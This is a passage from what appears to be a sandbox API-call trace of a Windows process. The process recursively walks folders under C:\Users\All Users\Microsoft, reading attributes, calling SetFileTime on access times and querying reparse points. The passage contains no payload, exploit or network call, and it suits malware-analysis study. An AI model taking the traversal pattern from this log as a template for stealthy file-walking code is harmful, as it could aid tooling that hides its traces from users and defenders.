dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="")) returned 1 [0091.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.427] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.427] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.428] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.428] NtClose (Handle=0x16c) returned 0x0 [0091.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354790 [0091.430] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.430] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.430] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.430] GetLastError () returned 0x12 [0091.430] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.430] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.430] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.430] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.430] GetLastError () returned 0x12 [0091.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354790) returned 1 [0091.430] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.431] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="")) returned 0 [0091.431] GetLastError () returned 0x12 [0091.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.431] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.432] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0091.432] GetLastError () returned 0x12 [0091.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.432] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.433] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="")) returned 1 [0091.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL" (normalized: "c:\\users\\all users\\microsoft\\identitycrl"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.433] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL" (normalized: "c:\\users\\all users\\microsoft\\identitycrl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.433] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.434] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.434] NtClose (Handle=0x15c) returned 0x0 [0091.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.435] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.435] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.435] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="")) returned 1 [0091.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.437] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0091.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.438] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0091.438] GetLastError () returned 0x12 [0091.439] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.439] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.439] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.439] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="")) returned 1 [0091.439] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0091.439] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0091.439] GetLastError () returned 0x12 [0091.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.439] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="")) returned 1 [0091.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player" (normalized: "c:\\users\\all users\\microsoft\\media player"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.440] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player" (normalized: "c:\\users\\all users\\microsoft\\media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.440] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.441] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.441] NtClose (Handle=0x170) returned 0x0 [0091.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.442] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.442] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.442] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.442] GetLastError () returned 0x12 [0091.442] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.442] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.442] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.443] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.443] GetLastError () returned 0x12 [0091.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.443] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.443] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0091.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF" (normalized: "c:\\users\\all users\\microsoft\\mf"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.444] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF" (normalized: "c:\\users\\all users\\microsoft\\mf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.444] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.444] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.445] NtClose (Handle=0x15c) returned 0x0 [0091.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.446] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.446] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.446] FindNextFileW (in: 